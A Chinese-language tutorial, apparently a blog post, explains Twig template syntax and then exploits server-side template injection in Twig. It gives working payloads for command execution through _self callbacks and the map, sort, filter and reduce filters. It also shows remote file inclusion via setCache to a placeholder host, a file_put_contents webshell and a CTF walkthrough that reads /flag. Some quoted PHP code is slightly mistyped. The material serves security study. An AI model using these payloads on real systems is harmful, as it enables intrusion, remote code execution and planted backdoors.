// {{ ['a', 'b', 'c']|join('|') }}
// Output: a|b|c
若要對代碼部分應用篩選器,請使用apply標簽:
{% apply upper %}
This text becomes uppercase
{% endapply %}
過濾器有很多,但是我們常用的一般就map、sort、filter、reduce
更多內置過濾器請參考:https://twig.symfony.com/doc/3.x/filters/index.html
控制結構是指所有控制程序流的東西-條件句(即 if/elseif/else/ for)循環,以及程序塊之類的東西。控制結構出現在 {{% ... %}} 中
例如,要顯示在名為 users 使用for標簽:
<h1>Members</h1>
<ul>
{% for user in users %}
<li>{{ user.username|e }}</li>
{% endfor %}
</ul>
if標記可用于測試表達式:
{% if users|length > 0 %}
<ul>
{% for user in users %}
<li>{{ user.username|e }}</li>
{% endfor %}
</ul>
{% endif %}
更多 tags 請參考:https://twig.symfony.com/doc/3.x/tags/index.html
在 Twig 模板中可以直接調用函數,用于生產內容。如下調用了 range() 函數用來返回一個包含整數等差數列的列表:
{% for i in range(0, 3) %}
{{ i }},
{% endfor %}
?
// Output: 0, 1, 2, 3,
更多內置函數請參考:https://twig.symfony.com/doc/3.x/functions/index.html
要在模板中注釋某一行,可以使用注釋語法 {# ...#}
{# note: disabled template because we no longer use this
{% for user in users %}
...
{% endfor %}
#}
Twig 提供的 include 函數可以使你更方便地在模板中引入模板,并將該模板已渲染后的內容返回到當前模板
{{ include('sidebar.html') }}
Twig最強大的部分是模板繼承。模板繼承允許您構建一個基本的“skeleton”模板,該模板包含站點的所有公共元素并定義子模版可以覆寫的 blocks 塊。
從一個例子開始更容易理解這個概念。
讓我們定義一個基本模板, base.html ,它定義了可用于兩列頁面的HTML框架文檔:
<!DOCTYPE html>
<html>
<head>
{% block head %}
<link rel="stylesheet" href="style.css"/>
<title>{% block title %}{% endblock %} - My Webpage</title>
{% endblock %}
</head>
<body>
<div id="content">{% block content %}{% endblock %}</div>
<div id="footer">
{% block footer %}
? Copyright 2011 by <a href="http://domain.invalid/">you</a>.
{% endblock %}
</div>
</body>
</html>
在這個例子中,block標記定義了子模板可以填充的四個塊。所有的 block 標記的作用是告訴模板引擎子模板可能會覆蓋模板的這些部分。
子模板可能如下所示:
{% extends "base.html" %}
?
{% block title %}Index{% endblock %}
{% block head %}
{{ parent() }}
<style type="text/css">
.important { color: #336699; }
</style>
{% endblock %}
{% block content %}
<h1>Index</h1>
<p class="important">
Welcome to my awesome homepage.
</p>
{% endblock %}
其中的 extends 標簽是關鍵所在,其必須是模板的第一個標簽。extends 標簽告訴模板引擎當前模板擴展自另一個父模板,當模板引擎評估編譯這個模板時,首先會定位到父模板。由于子模版未定義并重寫 footer 塊,就用來自父模板的值替代使用了。
更多 Twig 的語法請參考:https://twig.symfony.com/doc/3.x/
在twig 1.x版本,存在三個全局變量
其相對應的代碼如下
protected $specialVars=[
'_self'=> '$this',
'_context'=> '$context',
'_charset'=> '$this->env->getCharset()',
];
在twig 1.x中,主要利用的是_self變量,它會返回當前 \Twig\Template 實例,并提供了指向 Twig_Environment 的 env 屬性,這樣我們就可以繼續調用 Twig_Environment 中的其他方法
payload
{{_self.env.setCache("ftp://ip:port")}}{{_self.env.loadTemplate("backdoor")}}
通過調用setCache方法改變twig加載php的路徑,在allow_url_include開啟的條件下,我們就可以實現遠程文件包含
在getFilter方法中存在call_user_func回調函數,通過傳入參數我們可以借此調用任意函數
#getFilter
public function getFilter($name)
{
...
foreach ($this->filterCallbacks as $callback) {
if (false !==$filter=call_user_func($callback, $name)) {
return $filter;
}
}
return false;
}
?
public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[]=$callable;
}
?
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
// Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
但以上漏洞都只存在于1.x,在后續版本中,_self只會返回當前實例名字符串
在這里我用twig3.x+php7.3.4作為示例
用PHP的API調用twig
index.php
<?php
require_once "./vendor/autoload.php";
?
$loader=new \Twig\Loader\ArrayLoader([
'index'=> 'Hello {{ name }}!',
]);
$twig=new \Twig\Environment($loader);
?
?
$template=$twig->createTemplate("Hello {$_GET['name']}!");
?
echo $template->render();
在twig2.x/3.x中,_self不再像1.x時那么有他獨特的作用,但是也相應更新了一些特殊方法來供我們利用
map
這個 map 過濾器將箭頭函數應用于序列或映射的元素。arrow函數接收序列或映射的值:
{% set people=[
{first: "Bob", last: "Smith"},
{first: "Alice", last: "Dupond"},
] %}
{{ people|map(p=> "#{p.first} #{p.last}")|join(', ') }}
{# outputs Bob Smith, Alice Dupond #}arrow函數還接收密鑰作為第二個參數:
{% set people={
"Bob": "Smith",
"Alice": "Dupond",
} %}
{{ people|map((last, first)=> "#{first} #{last}")|join(', ') }}
{# outputs Bob Smith, Alice Dupond #}注意arrow函數可以訪問當前上下文。
可以看出允許用戶傳一個arrow 函數,arrow 函數最后會變成一個closure
舉個例子
當我們傳入
{{["man"]|map((arg)=>"hello #{arg}")}}
在模板中會被編譯為
twig_array_map([0=> "id"], function ($__arg__) use ($context, $macros) { $context["arg"]=$__arg__; return ("hello " . ($context["arg"] ?? null))
map所對應的函數如下
function twig_array_map($array $arrow)
{
$r=[];
foreach ($array as $k=> $v) {
$r[$k]=$arrow($v $k);
}
?
return $r;
}
我們可以看到,傳入的 $arrow 直接就被當成函數執行,即 $arrow($v, $k),而 $v 和 $k 分別是 $array 中的 value 和 key
所以$array和$arrow都是我們可控的,那我們就可以找到有兩個參數的、可以實現命令執行的危險函數來進行rce
經過查詢,有如下幾種常見命令執行函數
system ( string $command [, int &$return_var ] ) : string
passthru ( string $command [, int &$return_var ] )
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
shell_exec ( string $cmd ) : string
有兩個參數的函數就上面三種,其對應payload
{{["whoami"]|map("system")}}
{{["whoami"]|map("passthru")}}
{{["whoami"]|map("exec")}} // 無回顯
但是當上面的都被ban了呢,我們還有沒有其他方法rce
當然,例如
file_put_contents ( string $filename , mixed $data [, int $flags=0 [, resource $context ]] ) : int
當我們找到路徑后就可以利用該函數進行寫shell了
?name={{{"<?php phpinfo();eval($_POST[whoami]);":"D:\phpstudy_pro\WWW\shell.php"}|map("file_put_contents")}}
根據map過濾器的利用思路,我們可以再找到其他類似的,帶有$arrow參數的
sort
這個 sort 篩選器對數組排序:
{% for user in users|sort %}
...
{% endfor %}注解
在內部,Twig使用PHP asort 函數來維護索引關聯。它通過將可遍歷對象轉換為數組來支持這些對象。
您可以傳遞一個箭頭函數來對數組進行排序:
{% set fruits=[
{ name: 'Apples', quantity: 5 },
{ name: 'Oranges', quantity: 2 },
{ name: 'Grapes', quantity: 4 },
] %}
{% for fruit in fruits|sort((a, b)=> a.quantity <=> b.quantity)|column('name') %}
{{ fruit }}
{% endfor %}
{# output in this order: Oranges, Grapes, Apples #}注意 spaceship 運算符來簡化比較。
類似于map,sort在模板編譯時也會進入twig_sort_filter 函數
function twig_sort_filter($array, $arrow=null)
{
if ($array instanceof \Traversable) {
$array=iterator_to_array($array);
} elseif (!\is_array($array)) {
throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
}
?
if (null !==$arrow) {
uasort($array, $arrow); // 直接被 uasort 調用
} else {
asort($array);
}
?
return $array;
}
uasort ( array &$array , callable $value_compare_func ) : bool
可以看到,$array 和$arrow直接被uasort調用
uasort會將數組中的元素按照鍵值進行排序,當我們自定義一個危險函數時,就可能造成rce
這樣我們就可以構造payload了
{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id", 0]|sort("exec")}} // 無回顯
filter
這個 filter 過濾器使用箭頭函數過濾序列或映射的元素。arrow函數接收序列或映射的值:
{% set sizes=[34, 36, 38, 40, 42] %}
{{ sizes|filter(v=> v > 38)|join(', ') }}
{# output 40, 42 #}與 for 標記,它允許篩選要迭代的項:
{% for v in sizes|filter(v=> v > 38) -%}
{{ v }}
{% endfor %}
{# output 40 42 #}它也適用于映射:
{% set sizes={
xs: 34,
s: 36,
m: 38,
l: 40,
xl: 42,
} %}
{% for k, v in sizes|filter(v=> v > 38) -%}
{{ k }}={{ v }}
{% endfor %}
{# output l=40 xl=42 #}arrow函數還接收密鑰作為第二個參數:
{% for k, v in sizes|filter((v, k)=> v > 38 and k !="xl") -%}
{{ k }}={{ v }}
{% endfor %}
{# output l=40 #}注意arrow函數可以訪問當前上下文。
類似于map,filter在模板編譯時也會進入twig_array_filter 函數
function twig_array_filter($array, $arrow)
{
if (\is_array($array)) {
return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH); // $array 和 $arrow 直接被 array_filter 函數調用
}
?
// the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}
?
array_filter ( array $array [, callable $callback [, int $flag=0 ]] ) : array
可以看到和前面方法類似,我們實驗一下
得到payload
{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
{{["id"]|filter("exec")}} // 無回顯
?
{{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|filter("file_put_contents")}} // 和map過濾器一樣可以寫 Webshell
reduce
這個 reduce filter使用arrow函數迭代地將序列或映射縮減為單個值,從而將其縮減為單個值。arrow函數接收上一次迭代的返回值和序列或映射的當前值:
{% set numbers=[1, 2, 3] %}
{{ numbers|reduce((carry, v)=> carry + v) }}
{# output 6 #}這個 reduce 過濾器需要 initial 值作為第二個參數:
{{ numbers|reduce((carry, v)=> carry + v, 10) }}
{# output 16 #}注意arrow函數可以訪問當前上下文。
直接來看函數
function twig_array_reduce($array, $arrow, $initial=null)
{
if (!\is_array($array)) {
$array=iterator_to_array($array);
}
?
return array_reduce($array, $arrow, $initial); // $array, $arrow 和 $initial 直接被 array_reduce 函數調用
}
?
array_reduce ( array $array , callable $callback [, mixed $initial=NULL ] ) : mixed
可以看到array_reduce是有三個參數的
$array 和 $arrow 直接被 array_filter 函數調用,我們可以利用該性質自定義一個危險函數從而達到rce
剛開始還是像前面一樣構造
{{["id", 0]|reduce("passthru")}}
但是發現沒有執行成功,原因是第一次調用的是
passthru($initial, "id")
因為$initial為null,所以會報錯,我們想要對他進行賦值才行
payload
{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}} // 無回顯
進入發現一個flag按鈕和一個hint按鈕點擊hint發現源碼有hint
返回訪問flag.php
經過簡單測試猜測為twig(傳入{{7*'7'}}后Jinja2輸出7777777,Twig輸出49)
同時發現在cookie是我們的輸入點,開始查看是什么版本的twig,用_self來測試
cookie
user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
twig1.x,我們直接cat /flag試試
cookie
user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
基本思路還是測試出為哪個模板,哪個版本,測試payload即可
SSTI 并不廣泛存在,但如果開發人員濫用模板引擎,那么就很有可能出現SSTI,并且根據其模板引擎的復雜性和開發語言的特性,很大幾率會出現非常嚴重的問題
聯想到最近的log4j2漏洞,與SSTI類似,都是將用戶的輸入當作可信任內容,這才出現了大大小小的安全問題
一句話總結:永遠不要相信用戶的輸入
*請認真填寫需求信息,我們會在24小時內與您取得聯系。